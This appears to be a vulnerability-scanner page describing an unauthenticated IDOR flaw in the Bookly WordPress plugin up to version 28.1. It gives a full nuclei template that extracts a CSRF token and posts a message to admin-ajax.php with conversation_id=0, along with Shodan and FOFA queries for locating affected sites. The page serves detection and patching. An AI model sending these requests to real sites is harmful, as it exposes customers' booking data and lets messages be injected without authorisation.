Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access

highseverity

8.2CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

Bookly WordPress plugin <= 28.1 contains an insecure direct object reference caused by missing validation on 'conversation_id' parameter, letting unauthenticated attackers read and inject messages into any AI booking conversation, exploit requires no authentication.

Impact

Unauthenticated attackers can read sensitive customer booking data and inject messages into conversations, compromising privacy and data integrity.

Fix

Update to the latest version beyond 28.1.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "BooklyL10nGlobal")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "conversation_id", "last_message_id")

Run it with nuclei: nuclei -id CVE-2026-89063 -u <target>

The full check

id: CVE-2026-89063

info:
  name: Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access
  author: 0x_Akoko
  severity: high
  description: |
    Bookly WordPress plugin <= 28.1 contains an insecure direct object reference caused by missing validation on 'conversation_id' parameter, letting unauthenticated attackers read and inject messages into any AI booking conversation, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read sensitive customer booking data and inject messages into conversations, compromising privacy and data integrity.
  remediation: |
    Update to the latest version beyond 28.1.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool/online-scheduling-and-appointment-booking-system-281-insecure-direct-object-reference-to-unauthenticated-sensitive-data-access-and-message-injection-via-conversation-id-parameter
    - https://www.cve.org/CVERecord?id=CVE-2026-89063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-89063
    epss-score: 0.01628
    epss-percentile: 0.76384
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: bookly
    product: bookly-responsive-appointment-booking-tool
    shodan-query: 'http.html:"BooklyL10nGlobal"'
    fofa-query: 'body="BooklyL10nGlobal"'
  tags: cve,cve2026,wordpress,wp-plugin,bookly,idor,unauth

flow: |
  http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "BooklyL10nGlobal")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        regex:
          - '"csrf_token"\s*:\s*"([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/

        action=bookly_ai_send_message&csrf_token={{csrftoken}}&conversation_id=0&message=hello

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "conversation_id", "last_message_id")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'body'

References

Use this check only on systems you are authorised to test. Where the data comes from